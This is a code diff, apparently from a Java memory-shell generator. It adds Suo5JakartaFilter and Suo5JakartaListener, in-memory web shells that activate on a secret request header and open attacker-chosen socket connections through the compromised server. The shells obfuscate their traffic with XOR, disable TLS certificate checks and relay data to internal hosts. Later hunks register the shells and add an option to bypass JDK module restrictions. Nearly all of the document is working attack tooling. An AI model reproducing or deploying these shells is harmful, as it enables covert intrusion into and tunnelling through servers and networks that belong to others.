JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody);
}
if (config.getShellType().equals(Constants.SHELL_JAKARTA_LISTENER)) {
String methodBody = ResponseUtil.getMethodBody(config.getServerType());
methodBody = methodBody.replace("javax.servlet.", "jakarta.servlet.");
JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody);
}
JavassistUtil.removeSourceFileAttribute(ctClass);
bytes = ctClass.toBytecode();
ctClass.detach();
@@ -0,0 +1,553 @@
package jmg.suo5.memshell;
import javax.net.ssl.*;
import javax.servlet.*;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import java.io.*;
import java.net.*;
import java.nio.ByteBuffer;
import java.security.cert.CertificateException;
import java.security.cert.X509Certificate;
import java.util.Enumeration;
import java.util.HashMap;
public class Suo5JakartaFilter implements Filter, Runnable, HostnameVerifier, X509TrustManager {
public String headerName;
public String headerValue;
public static HashMap addrs = collectAddr();
public static HashMap ctx = new HashMap();
InputStream gInStream;
OutputStream gOutStream;
public Suo5JakartaFilter() {
}
public Suo5JakartaFilter(InputStream in, OutputStream out) {
this.gInStream = in;
this.gOutStream = out;
}
public void init(FilterConfig filterConfig) throws ServletException {
}
public void destroy() {
}
public void doFilter(ServletRequest sReq, ServletResponse sResp, FilterChain chain) throws IOException, ServletException {
try {
HttpServletRequest request = (HttpServletRequest) sReq;
HttpServletResponse response = (HttpServletResponse) sResp;
if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) {
String contentType = request.getHeader("Content-Type");
if (contentType == null) {
return;
}
try {
if (contentType.equals("application/plain")) {
tryFullDuplex(request, response);
return;
}
if (contentType.equals("application/octet-stream")) {
processDataBio(request, response);
} else {
processDataUnary(request, response);
}
} catch (Throwable e) {
// System.out.printf("process data error %s\n", e);
// e.printStackTrace();
}
}else {
chain.doFilter(sReq, sResp);
}
} catch (Exception e) {
e.printStackTrace();
chain.doFilter(sReq, sResp);
}
}
public void readFull(InputStream is, byte[] b) throws IOException, InterruptedException {
int bufferOffset = 0;
while (bufferOffset < b.length) {
int readLength = b.length - bufferOffset;
int readResult = is.read(b, bufferOffset, readLength);
if (readResult == -1) break;
bufferOffset += readResult;
}
}
public void tryFullDuplex(HttpServletRequest request, HttpServletResponse response) throws IOException, InterruptedException {
InputStream in = request.getInputStream();
byte[] data = new byte[32];
readFull(in, data);
OutputStream out = response.getOutputStream();
out.write(data);
out.flush();
}
private HashMap newCreate(byte s) {
HashMap m = new HashMap();
m.put("ac", new byte[]{0x04});
m.put("s", new byte[]{s});
return m;
}
private HashMap newData(byte[] data) {
HashMap m = new HashMap();
m.put("ac", new byte[]{0x01});
m.put("dt", data);
return m;
}
private HashMap newDel() {
HashMap m = new HashMap();
m.put("ac", new byte[]{0x02});
return m;
}
private HashMap newStatus(byte b) {
HashMap m = new HashMap();
m.put("s", new byte[]{b});
return m;
}
byte[] u32toBytes(int i) {
byte[] result = new byte[4];
result[0] = (byte) (i >> 24);
result[1] = (byte) (i >> 16);
result[2] = (byte) (i >> 8);
result[3] = (byte) (i /*>> 0*/);
return result;
}
int bytesToU32(byte[] bytes) {
return ((bytes[0] & 0xFF) << 24) |
((bytes[1] & 0xFF) << 16) |
((bytes[2] & 0xFF) << 8) |
((bytes[3] & 0xFF) << 0);
}
synchronized void put(String k, Object v) {
ctx.put(k, v);
}
synchronized Object get(String k) {
return ctx.get(k);
}
synchronized Object remove(String k) {
return ctx.remove(k);
}
byte[] copyOfRange(byte[] original, int from, int to) {
int newLength = to - from;
if (newLength < 0) {
throw new IllegalArgumentException(from + " > " + to);
}
byte[] copy = new byte[newLength];
int copyLength = Math.min(original.length - from, newLength);
// can't use System.arraycopy of Arrays.copyOf, there is no system in some environment
// System.arraycopy(original, from, copy, 0, copyLength);
for (int i = 0; i < copyLength; i++) {
copy[i] = original[from + i];
}
return copy;
}
private byte[] marshal(HashMap m) throws IOException {
ByteArrayOutputStream buf = new ByteArrayOutputStream();
Object[] keys = m.keySet().toArray();
for (int i = 0; i < keys.length; i++) {
String key = (String) keys[i];
byte[] value = (byte[]) m.get(key);
buf.write((byte) key.length());
buf.write(key.getBytes());
buf.write(u32toBytes(value.length));
buf.write(value);
}
byte[] data = buf.toByteArray();
ByteBuffer dbuf = ByteBuffer.allocate(5 + data.length);
dbuf.putInt(data.length);
// xor key
byte key = data[data.length / 2];
dbuf.put(key);
for (int i = 0; i < data.length; i++) {
data[i] = (byte) (data[i] ^ key);
}
dbuf.put(data);
return dbuf.array();
}
private HashMap unmarshal(InputStream in) throws Exception {
byte[] header = new byte[4 + 1]; // size and datatype
readFull(in, header);
// read full
ByteBuffer bb = ByteBuffer.wrap(header);
int len = bb.getInt();
int x = bb.get();
if (len > 1024 * 1024 * 32) {
throw new IOException("invalid len");
}
byte[] bs = new byte[len];
readFull(in, bs);
for (int i = 0; i < bs.length; i++) {
bs[i] = (byte) (bs[i] ^ x);
}
HashMap m = new HashMap();
byte[] buf;
for (int i = 0; i < bs.length - 1; ) {
short kLen = bs[i];
i += 1;
if (i + kLen >= bs.length) {
throw new Exception("key len error");
}
if (kLen < 0) {
throw new Exception("key len error");
}
buf = copyOfRange(bs, i, i + kLen);
String key = new String(buf);
i += kLen;
if (i + 4 >= bs.length) {
throw new Exception("value len error");
}
buf = copyOfRange(bs, i, i + 4);
int vLen = bytesToU32(buf);
i += 4;
if (vLen < 0) {
throw new Exception("value error");
}
if (i + vLen > bs.length) {
throw new Exception("value error");
}
byte[] value = copyOfRange(bs, i, i + vLen);
i += vLen;
m.put(key, value);
}
return m;
}
private void processDataBio(HttpServletRequest request, HttpServletResponse resp) throws Exception {
final InputStream reqInputStream = request.getInputStream();
HashMap dataMap = unmarshal(reqInputStream);
byte[] action = (byte[]) dataMap.get("ac");
if (action.length != 1 || action[0] != 0x00) {
resp.setStatus(403);
return;
}
resp.setBufferSize(512);
final OutputStream respOutStream = resp.getOutputStream();
// 0x00 create socket
resp.setHeader("X-Accel-Buffering", "no");
Socket sc;
try {
String host = new String((byte[]) dataMap.get("h"));
int port = Integer.parseInt(new String((byte[]) dataMap.get("p")));
if (port == 0) {
port = request.getLocalPort();
}
sc = new Socket();
sc.connect(new InetSocketAddress(host, port), 5000);
} catch (Exception e) {
respOutStream.write(marshal(newStatus((byte) 0x01)));
respOutStream.flush();
respOutStream.close();
return;
}
respOutStream.write(marshal(newStatus((byte) 0x00)));
respOutStream.flush();
resp.flushBuffer();
final OutputStream scOutStream = sc.getOutputStream();
final InputStream scInStream = sc.getInputStream();
Thread t = null;
try {
Suo5JakartaFilter p = new Suo5JakartaFilter(scInStream, respOutStream);
t = new Thread(p);
t.start();
readReq(reqInputStream, scOutStream);
} catch (Exception e) {
// System.out.printf("pipe error, %s\n", e);
} finally {
sc.close();
respOutStream.close();
if (t != null) {
t.join();
}
}
}
private void readSocket(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws IOException {
byte[] readBuf = new byte[1024 * 8];
while (true) {
int n = inputStream.read(readBuf);
if (n <= 0) {
break;
}
byte[] dataTmp = copyOfRange(readBuf, 0, 0 + n);
if (needMarshal) {
dataTmp = marshal(newData(dataTmp));
}
outputStream.write(dataTmp);
outputStream.flush();
}
}
private void readReq(InputStream bufInputStream, OutputStream socketOutStream) throws Exception {
while (true) {
HashMap dataMap;
dataMap = unmarshal(bufInputStream);
byte[] actions = (byte[]) dataMap.get("ac");
if (actions.length != 1) {
return;
}
byte action = actions[0];
if (action == 0x02) {
socketOutStream.close();
return;
} else if (action == 0x01) {
byte[] data = (byte[]) dataMap.get("dt");
if (data.length != 0) {
socketOutStream.write(data);
socketOutStream.flush();
}
} else if (action == 0x03) {
continue;
} else {
return;
}
}
}
private void processDataUnary(HttpServletRequest request, HttpServletResponse resp) throws
Exception {
InputStream is = request.getInputStream();
BufferedInputStream reader = new BufferedInputStream(is);
HashMap dataMap;
dataMap = unmarshal(reader);
String clientId = new String((byte[]) dataMap.get("id"));
byte[] actions = (byte[]) dataMap.get("ac");
if (actions.length != 1) {
resp.setStatus(403);
return;
}
/*
ActionCreate byte = 0x00
ActionData byte = 0x01
ActionDelete byte = 0x02
ActionHeartbeat byte = 0x03
*/
byte action = actions[0];
byte[] redirectData = (byte[]) dataMap.get("r");
boolean needRedirect = redirectData != null && redirectData.length > 0;
String redirectUrl = "";
if (needRedirect) {
dataMap.remove("r");
redirectUrl = new String(redirectData);
needRedirect = !isLocalAddr(redirectUrl);
}
// load balance, send request with data to request url
// action 0x00 need to pipe, see below
if (needRedirect && action >= 0x01 && action <= 0x03) {
HttpURLConnection conn = redirect(request, dataMap, redirectUrl);
conn.disconnect();
return;
}
resp.setBufferSize(512);
OutputStream respOutStream = resp.getOutputStream();
if (action == 0x02) {
Object o = this.get(clientId);
if (o == null) return;
OutputStream scOutStream = (OutputStream) o;
scOutStream.close();
return;
} else if (action == 0x01) {
Object o = this.get(clientId);
if (o == null) {
respOutStream.write(marshal(newDel()));
respOutStream.flush();
respOutStream.close();
return;
}
OutputStream scOutStream = (OutputStream) o;
byte[] data = (byte[]) dataMap.get("dt");
if (data.length != 0) {
scOutStream.write(data);
scOutStream.flush();
}
respOutStream.close();
return;
} else {
}
if (action != 0x00) {
return;
}
// 0x00 create new tunnel
resp.setHeader("X-Accel-Buffering", "no");
String host = new String((byte[]) dataMap.get("h"));
int port = Integer.parseInt(new String((byte[]) dataMap.get("p")));
if (port == 0) {
port = request.getLocalPort();
}
InputStream readFrom;
Socket sc = null;
HttpURLConnection conn = null;
if (needRedirect) {
// pipe redirect stream and current response body
conn = redirect(request, dataMap, redirectUrl);
readFrom = conn.getInputStream();
} else {
// pipe socket stream and current response body
try {
sc = new Socket();
sc.connect(new InetSocketAddress(host, port), 5000);
readFrom = sc.getInputStream();
this.put(clientId, sc.getOutputStream());
respOutStream.write(marshal(newStatus((byte) 0x00)));
respOutStream.flush();
resp.flushBuffer();
} catch (Exception e) {
// System.out.printf("connect error %s\n", e);
// e.printStackTrace();
this.remove(clientId);
respOutStream.write(marshal(newStatus((byte) 0x01)));
respOutStream.flush();
respOutStream.close();
return;
}
}
try {
readSocket(readFrom, respOutStream, !needRedirect);
} catch (Exception e) {
// System.out.println("socket error " + e.toString());
// e.printStackTrace();
} finally {
if (sc != null) {
sc.close();
}
if (conn != null) {
conn.disconnect();
}
respOutStream.close();
this.remove(clientId);
}
}
public void run() {
try {
readSocket(gInStream, gOutStream, true);
} catch (Exception e) {
// System.out.printf("read socket error, %s\n", e);
// e.printStackTrace();
}
}
static HashMap collectAddr() {
HashMap addrs = new HashMap();
try {
Enumeration nifs = NetworkInterface.getNetworkInterfaces();
while (nifs.hasMoreElements()) {
NetworkInterface nif = (NetworkInterface) nifs.nextElement();
Enumeration addresses = nif.getInetAddresses();
while (addresses.hasMoreElements()) {
InetAddress addr = (InetAddress) addresses.nextElement();
String s = addr.getHostAddress();
if (s != null) {
// fe80:0:0:0:fb0d:5776:2d7c:da24%wlan4 strip %wlan4
int ifaceIndex = s.indexOf('%');
if (ifaceIndex != -1) {
s = s.substring(0, ifaceIndex);
}
addrs.put((Object) s, (Object) Boolean.TRUE);
}
}
}
} catch (Exception e) {
// System.out.printf("read socket error, %s\n", e);
// e.printStackTrace();
}
return addrs;
}
boolean isLocalAddr(String url) throws Exception {
String ip = (new URL(url)).getHost();
return addrs.containsKey(ip);
}
HttpURLConnection redirect(HttpServletRequest request, HashMap dataMap, String rUrl) throws Exception {
String method = request.getMethod();
URL u = new URL(rUrl);
HttpURLConnection conn = (HttpURLConnection) u.openConnection();
conn.setRequestMethod(method);
try {
// conn.setConnectTimeout(3000);
conn.getClass().getMethod("setConnectTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(3000)});
// conn.setReadTimeout(0);
conn.getClass().getMethod("setReadTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(0)});
} catch (Exception e) {
// java1.4
}
conn.setDoOutput(true);
conn.setDoInput(true);
// ignore ssl verify
// ref: https://github.com/L-codes/Neo-reGeorg/blob/master/templates/NeoreGeorg.java
if (HttpsURLConnection.class.isInstance(conn)) {
((HttpsURLConnection) conn).setHostnameVerifier(this);
SSLContext sslCtx = SSLContext.getInstance("SSL");
sslCtx.init(null, new TrustManager[]{this}, null);
((HttpsURLConnection) conn).setSSLSocketFactory(sslCtx.getSocketFactory());
}
Enumeration headers = request.getHeaderNames();
while (headers.hasMoreElements()) {
String k = (String) headers.nextElement();
conn.setRequestProperty(k, request.getHeader(k));
}
OutputStream rout = conn.getOutputStream();
rout.write(marshal(dataMap));
rout.flush();
rout.close();
conn.getResponseCode();
return conn;
}
public boolean verify(String hostname, SSLSession session) {
return true;
}
public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException {
}
public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException {
}
public X509Certificate[] getAcceptedIssuers() {
return new X509Certificate[0];
}
}
@@ -0,0 +1,577 @@
package jmg.suo5.memshell;
import javax.net.ssl.*;
import jakarta.servlet.ServletRequestEvent;
import jakarta.servlet.ServletRequestListener;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import java.io.*;
import java.lang.reflect.Field;
import java.net.*;
import java.nio.ByteBuffer;
import java.security.cert.CertificateException;
import java.security.cert.X509Certificate;
import java.util.Enumeration;
import java.util.HashMap;
public class Suo5JakartaListener implements ServletRequestListener, Runnable, HostnameVerifier, X509TrustManager {
public String headerName;
public String headerValue;
public static HashMap addrs = collectAddr();
public static HashMap ctx = new HashMap();
InputStream gInStream;
OutputStream gOutStream;
public Suo5JakartaListener() {
}
public Suo5JakartaListener(InputStream in, OutputStream out) {
this.gInStream = in;
this.gOutStream = out;
}
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
}
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
try {
HttpServletResponse response = getResponseFromRequest(request);
if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) {
String contentType = request.getHeader("Content-Type");
if (contentType == null) {
return;
}
try {
if (contentType.equals("application/plain")) {
tryFullDuplex(request, response);
return;
}
if (contentType.equals("application/octet-stream")) {
processDataBio(request, response);
} else {
processDataUnary(request, response);
}
} catch (Throwable e) {
// System.out.printf("process data error %s\n", e);
// e.printStackTrace();
}
}
} catch (Exception ignored) {
}
}
public void readFull(InputStream is, byte[] b) throws IOException, InterruptedException {
int bufferOffset = 0;
while (bufferOffset < b.length) {
int readLength = b.length - bufferOffset;
int readResult = is.read(b, bufferOffset, readLength);
if (readResult == -1) break;
bufferOffset += readResult;
}
}
public void tryFullDuplex(HttpServletRequest request, HttpServletResponse response) throws IOException, InterruptedException {
InputStream in = request.getInputStream();
byte[] data = new byte[32];
readFull(in, data);
OutputStream out = response.getOutputStream();
out.write(data);
out.flush();
}
private HashMap newCreate(byte s) {
HashMap m = new HashMap();
m.put("ac", new byte[]{0x04});
m.put("s", new byte[]{s});
return m;
}
private HashMap newData(byte[] data) {
HashMap m = new HashMap();
m.put("ac", new byte[]{0x01});
m.put("dt", data);
return m;
}
private HashMap newDel() {
HashMap m = new HashMap();
m.put("ac", new byte[]{0x02});
return m;
}
private HashMap newStatus(byte b) {
HashMap m = new HashMap();
m.put("s", new byte[]{b});
return m;
}
byte[] u32toBytes(int i) {
byte[] result = new byte[4];
result[0] = (byte) (i >> 24);
result[1] = (byte) (i >> 16);
result[2] = (byte) (i >> 8);
result[3] = (byte) (i /*>> 0*/);
return result;
}
int bytesToU32(byte[] bytes) {
return ((bytes[0] & 0xFF) << 24) |
((bytes[1] & 0xFF) << 16) |
((bytes[2] & 0xFF) << 8) |
((bytes[3] & 0xFF) << 0);
}
synchronized void put(String k, Object v) {
ctx.put(k, v);
}
synchronized Object get(String k) {
return ctx.get(k);
}
synchronized Object remove(String k) {
return ctx.remove(k);
}
byte[] copyOfRange(byte[] original, int from, int to) {
int newLength = to - from;
if (newLength < 0) {
throw new IllegalArgumentException(from + " > " + to);
}
byte[] copy = new byte[newLength];
int copyLength = Math.min(original.length - from, newLength);
// can't use System.arraycopy of Arrays.copyOf, there is no system in some environment
// System.arraycopy(original, from, copy, 0, copyLength);
for (int i = 0; i < copyLength; i++) {
copy[i] = original[from + i];
}
return copy;
}
private byte[] marshal(HashMap m) throws IOException {
ByteArrayOutputStream buf = new ByteArrayOutputStream();
Object[] keys = m.keySet().toArray();
for (int i = 0; i < keys.length; i++) {
String key = (String) keys[i];
byte[] value = (byte[]) m.get(key);
buf.write((byte) key.length());
buf.write(key.getBytes());
buf.write(u32toBytes(value.length));
buf.write(value);
}
byte[] data = buf.toByteArray();
ByteBuffer dbuf = ByteBuffer.allocate(5 + data.length);
dbuf.putInt(data.length);
// xor key
byte key = data[data.length / 2];
dbuf.put(key);
for (int i = 0; i < data.length; i++) {
data[i] = (byte) (data[i] ^ key);
}
dbuf.put(data);
return dbuf.array();
}
private HashMap unmarshal(InputStream in) throws Exception {
byte[] header = new byte[4 + 1]; // size and datatype
readFull(in, header);
// read full
ByteBuffer bb = ByteBuffer.wrap(header);
int len = bb.getInt();
int x = bb.get();
if (len > 1024 * 1024 * 32) {
throw new IOException("invalid len");
}
byte[] bs = new byte[len];
readFull(in, bs);
for (int i = 0; i < bs.length; i++) {
bs[i] = (byte) (bs[i] ^ x);
}
HashMap m = new HashMap();
byte[] buf;
for (int i = 0; i < bs.length - 1; ) {
short kLen = bs[i];
i += 1;
if (i + kLen >= bs.length) {
throw new Exception("key len error");
}
if (kLen < 0) {
throw new Exception("key len error");
}
buf = copyOfRange(bs, i, i + kLen);
String key = new String(buf);
i += kLen;
if (i + 4 >= bs.length) {
throw new Exception("value len error");
}
buf = copyOfRange(bs, i, i + 4);
int vLen = bytesToU32(buf);
i += 4;
if (vLen < 0) {
throw new Exception("value error");
}
if (i + vLen > bs.length) {
throw new Exception("value error");
}
byte[] value = copyOfRange(bs, i, i + vLen);
i += vLen;
m.put(key, value);
}
return m;
}
private void processDataBio(HttpServletRequest request, HttpServletResponse resp) throws Exception {
final InputStream reqInputStream = request.getInputStream();
HashMap dataMap = unmarshal(reqInputStream);
byte[] action = (byte[]) dataMap.get("ac");
if (action.length != 1 || action[0] != 0x00) {
resp.setStatus(403);
return;
}
resp.setBufferSize(512);
final OutputStream respOutStream = resp.getOutputStream();
// 0x00 create socket
resp.setHeader("X-Accel-Buffering", "no");
Socket sc;
try {
String host = new String((byte[]) dataMap.get("h"));
int port = Integer.parseInt(new String((byte[]) dataMap.get("p")));
if (port == 0) {
port = request.getLocalPort();
}
sc = new Socket();
sc.connect(new InetSocketAddress(host, port), 5000);
} catch (Exception e) {
respOutStream.write(marshal(newStatus((byte) 0x01)));
respOutStream.flush();
respOutStream.close();
return;
}
respOutStream.write(marshal(newStatus((byte) 0x00)));
respOutStream.flush();
resp.flushBuffer();
final OutputStream scOutStream = sc.getOutputStream();
final InputStream scInStream = sc.getInputStream();
Thread t = null;
try {
Suo5JakartaListener p = new Suo5JakartaListener(scInStream, respOutStream);
t = new Thread(p);
t.start();
readReq(reqInputStream, scOutStream);
} catch (Exception e) {
// System.out.printf("pipe error, %s\n", e);
} finally {
sc.close();
respOutStream.close();
if (t != null) {
t.join();
}
}
}
private void readSocket(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws IOException {
byte[] readBuf = new byte[1024 * 8];
while (true) {
int n = inputStream.read(readBuf);
if (n <= 0) {
break;
}
byte[] dataTmp = copyOfRange(readBuf, 0, 0 + n);
if (needMarshal) {
dataTmp = marshal(newData(dataTmp));
}
outputStream.write(dataTmp);
outputStream.flush();
}
}
private void readReq(InputStream bufInputStream, OutputStream socketOutStream) throws Exception {
while (true) {
HashMap dataMap;
dataMap = unmarshal(bufInputStream);
byte[] actions = (byte[]) dataMap.get("ac");
if (actions.length != 1) {
return;
}
byte action = actions[0];
if (action == 0x02) {
socketOutStream.close();
return;
} else if (action == 0x01) {
byte[] data = (byte[]) dataMap.get("dt");
if (data.length != 0) {
socketOutStream.write(data);
socketOutStream.flush();
}
} else if (action == 0x03) {
continue;
} else {
return;
}
}
}
private void processDataUnary(HttpServletRequest request, HttpServletResponse resp) throws
Exception {
InputStream is = request.getInputStream();
BufferedInputStream reader = new BufferedInputStream(is);
HashMap dataMap;
dataMap = unmarshal(reader);
String clientId = new String((byte[]) dataMap.get("id"));
byte[] actions = (byte[]) dataMap.get("ac");
if (actions.length != 1) {
resp.setStatus(403);
return;
}
/*
ActionCreate byte = 0x00
ActionData byte = 0x01
ActionDelete byte = 0x02
ActionHeartbeat byte = 0x03
*/
byte action = actions[0];
byte[] redirectData = (byte[]) dataMap.get("r");
boolean needRedirect = redirectData != null && redirectData.length > 0;
String redirectUrl = "";
if (needRedirect) {
dataMap.remove("r");
redirectUrl = new String(redirectData);
needRedirect = !isLocalAddr(redirectUrl);
}
// load balance, send request with data to request url
// action 0x00 need to pipe, see below
if (needRedirect && action >= 0x01 && action <= 0x03) {
HttpURLConnection conn = redirect(request, dataMap, redirectUrl);
conn.disconnect();
return;
}
resp.setBufferSize(512);
OutputStream respOutStream = resp.getOutputStream();
if (action == 0x02) {
Object o = this.get(clientId);
if (o == null) return;
OutputStream scOutStream = (OutputStream) o;
scOutStream.close();
return;
} else if (action == 0x01) {
Object o = this.get(clientId);
if (o == null) {
respOutStream.write(marshal(newDel()));
respOutStream.flush();
respOutStream.close();
return;
}
OutputStream scOutStream = (OutputStream) o;
byte[] data = (byte[]) dataMap.get("dt");
if (data.length != 0) {
scOutStream.write(data);
scOutStream.flush();
}
respOutStream.close();
return;
} else {
}
if (action != 0x00) {
return;
}
// 0x00 create new tunnel
resp.setHeader("X-Accel-Buffering", "no");
String host = new String((byte[]) dataMap.get("h"));
int port = Integer.parseInt(new String((byte[]) dataMap.get("p")));
if (port == 0) {
port = request.getLocalPort();
}
InputStream readFrom;
Socket sc = null;
HttpURLConnection conn = null;
if (needRedirect) {
// pipe redirect stream and current response body
conn = redirect(request, dataMap, redirectUrl);
readFrom = conn.getInputStream();
} else {
// pipe socket stream and current response body
try {
sc = new Socket();
sc.connect(new InetSocketAddress(host, port), 5000);
readFrom = sc.getInputStream();
this.put(clientId, sc.getOutputStream());
respOutStream.write(marshal(newStatus((byte) 0x00)));
respOutStream.flush();
resp.flushBuffer();
} catch (Exception e) {
// System.out.printf("connect error %s\n", e);
// e.printStackTrace();
this.remove(clientId);
respOutStream.write(marshal(newStatus((byte) 0x01)));
respOutStream.flush();
respOutStream.close();
return;
}
}
try {
readSocket(readFrom, respOutStream, !needRedirect);
} catch (Exception e) {
// System.out.println("socket error " + e.toString());
// e.printStackTrace();
} finally {
if (sc != null) {
sc.close();
}
if (conn != null) {
conn.disconnect();
}
respOutStream.close();
this.remove(clientId);
}
}
public void run() {
try {
readSocket(gInStream, gOutStream, true);
} catch (Exception e) {
// System.out.printf("read socket error, %s\n", e);
// e.printStackTrace();
}
}
static HashMap collectAddr() {
HashMap addrs = new HashMap();
try {
Enumeration nifs = NetworkInterface.getNetworkInterfaces();
while (nifs.hasMoreElements()) {
NetworkInterface nif = (NetworkInterface) nifs.nextElement();
Enumeration addresses = nif.getInetAddresses();
while (addresses.hasMoreElements()) {
InetAddress addr = (InetAddress) addresses.nextElement();
String s = addr.getHostAddress();
if (s != null) {
// fe80:0:0:0:fb0d:5776:2d7c:da24%wlan4 strip %wlan4
int ifaceIndex = s.indexOf('%');
if (ifaceIndex != -1) {
s = s.substring(0, ifaceIndex);
}
addrs.put((Object) s, (Object) Boolean.TRUE);
}
}
}
} catch (Exception e) {
// System.out.printf("read socket error, %s\n", e);
// e.printStackTrace();
}
return addrs;
}
boolean isLocalAddr(String url) throws Exception {
String ip = (new URL(url)).getHost();
return addrs.containsKey(ip);
}
HttpURLConnection redirect(HttpServletRequest request, HashMap dataMap, String rUrl) throws Exception {
String method = request.getMethod();
URL u = new URL(rUrl);
HttpURLConnection conn = (HttpURLConnection) u.openConnection();
conn.setRequestMethod(method);
try {
// conn.setConnectTimeout(3000);
conn.getClass().getMethod("setConnectTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(3000)});
// conn.setReadTimeout(0);
conn.getClass().getMethod("setReadTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(0)});
} catch (Exception e) {
// java1.4
}
conn.setDoOutput(true);
conn.setDoInput(true);
// ignore ssl verify
// ref: https://github.com/L-codes/Neo-reGeorg/blob/master/templates/NeoreGeorg.java
if (HttpsURLConnection.class.isInstance(conn)) {
((HttpsURLConnection) conn).setHostnameVerifier(this);
SSLContext sslCtx = SSLContext.getInstance("SSL");
sslCtx.init(null, new TrustManager[]{this}, null);
((HttpsURLConnection) conn).setSSLSocketFactory(sslCtx.getSocketFactory());
}
Enumeration headers = request.getHeaderNames();
while (headers.hasMoreElements()) {
String k = (String) headers.nextElement();
conn.setRequestProperty(k, request.getHeader(k));
}
OutputStream rout = conn.getOutputStream();
rout.write(marshal(dataMap));
rout.flush();
rout.close();
conn.getResponseCode();
return conn;
}
public boolean verify(String hostname, SSLSession session) {
return true;
}
public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException {
}
public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException {
}
public X509Certificate[] getAcceptedIssuers() {
return new X509Certificate[0];
}
private HttpServletResponse getResponseFromRequest(HttpServletRequest var1) throws Exception {
return null;
}
private static synchronized Object getFV(Object var0, String var1) throws Exception {
Field var2 = null;
Class var3 = var0.getClass();
while (var3 != Object.class) {
try {
var2 = var3.getDeclaredField(var1);
break;
} catch (NoSuchFieldException var5) {
var3 = var3.getSuperclass();
}
}
if (var2 == null) {
throw new NoSuchFieldException(var1);
} else {
var2.setAccessible(true);
return var2.get(var0);
}
}
}
@@ -1,9 +1,7 @@
package jmg.suo5.util;
import jmg.core.config.Constants;
import jmg.suo5.memshell.Suo5Filter;
import jmg.suo5.memshell.Suo5Interceptor;
import jmg.suo5.memshell.Suo5Listener;
import jmg.suo5.memshell.*;
import java.util.HashMap;
import java.util.Map;
@@ -33,10 +31,15 @@ public class ShellUtil {
SHELL_CLASSNAME_MAP.put(Suo5Listener.class.getSimpleName(), Suo5Listener.class.getName());
SHELL_CLASSNAME_MAP.put(Suo5Filter.class.getSimpleName(), Suo5Filter.class.getName());
SHELL_CLASSNAME_MAP.put(Suo5Interceptor.class.getSimpleName(), Suo5Interceptor.class.getName());
SHELL_CLASSNAME_MAP.put(Suo5JakartaListener.class.getSimpleName(), Suo5JakartaListener.class.getName());
SHELL_CLASSNAME_MAP.put(Suo5JakartaFilter.class.getSimpleName(), Suo5JakartaFilter.class.getName());
Map<String, String> suo5Map = new HashMap();
suo5Map.put(Constants.SHELL_FILTER, Suo5Filter.class.getSimpleName());
suo5Map.put(Constants.SHELL_LISTENER, Suo5Listener.class.getSimpleName());
suo5Map.put(Constants.SHELL_INTERCEPTOR, Suo5Interceptor.class.getSimpleName());
suo5Map.put(Constants.SHELL_JAKARTA_FILTER, Suo5JakartaFilter.class.getSimpleName());
suo5Map.put(Constants.SHELL_JAKARTA_LISTENER, Suo5JakartaListener.class.getSimpleName());
toolMap.put(Constants.TOOL_SUO5, suo5Map);
}
@@ -59,6 +59,8 @@ public class CustomHelper implements IHelper {
enumShellType.add(Constants.SHELL_LISTENER);
enumShellType.add(Constants.SHELL_FILTER);
enumShellType.add(Constants.SHELL_INTERCEPTOR);
enumShellType.add(Constants.SHELL_JAKARTA_LISTENER);
enumShellType.add(Constants.SHELL_JAKARTA_FILTER);
shell_type.setEnumValue(enumShellType);
IArg gadgetType = ShellHelperPlugin.pluginHelper.createArg();
@@ -124,6 +126,18 @@ public class CustomHelper implements IHelper {
output_path.setDescription("自定义输出路径");
list.add(output_path);
IArg enable_bypass_jdk_module = ShellHelperPlugin.pluginHelper.createArg();
enable_bypass_jdk_module.setName("bypass_jdk_module");
enable_bypass_jdk_module.setType(7);
List<String> enumenableBypass = new ArrayList();
enumenableBypass.add(String.valueOf(false));
enumenableBypass.add(String.valueOf(true));
enable_bypass_jdk_module.setEnumValue(enumenableBypass);
enable_bypass_jdk_module.setDefaultValue(String.valueOf(false));
enable_bypass_jdk_module.setRequired(false);
enable_bypass_jdk_module.setDescription("绕过高版本 JDK Module 访问限制");
list.add(enable_bypass_jdk_module);
binder.setArgsList(list);
return binder;
}
@@ -151,6 +165,7 @@ public class CustomHelper implements IHelper {
if (config.getUrlPattern() == null) config.setUrlPattern("/*");
config.setInjectorSimpleClassName(CommonUtil.getSimpleName(config.getInjectorClassName()));
if (config.getSavePath() == null) config.setSavePath(System.getProperty("user.dir"));
if (customArgs.get("bypass_jdk_module") != null) config.setEnableBypassJDKModule(Boolean.parseBoolean((String) customArgs.get("bypass_jdk_module")));
config.setSavePath(CommonUtil.getFileOutputPath(config.getOutputFormat(), config.getInjectorSimpleClassName(), config.getSavePath()));
File f;
@@ -52,6 +52,8 @@ public class ProxyHelper implements IHelper {
enumShellType.add(Constants.SHELL_FILTER);
enumShellType.add(Constants.SHELL_LISTENER);
enumShellType.add(Constants.SHELL_INTERCEPTOR);
enumShellType.add(Constants.SHELL_JAKARTA_LISTENER);
enumShellType.add(Constants.SHELL_JAKARTA_FILTER);
shell_type.setEnumValue(enumShellType);
shell_type.setDefaultValue(Constants.SHELL_LISTENER);
shell_type.setRequired(true);
@@ -109,6 +111,18 @@ public class ProxyHelper implements IHelper {
output_path.setRequired(false);
output_path.setDescription("自定义输出路径");
list.add(output_path);
IArg enable_bypass_jdk_module = ShellHelperPlugin.pluginHelper.createArg();
enable_bypass_jdk_module.setName("bypass_jdk_module");
enable_bypass_jdk_module.setType(7);
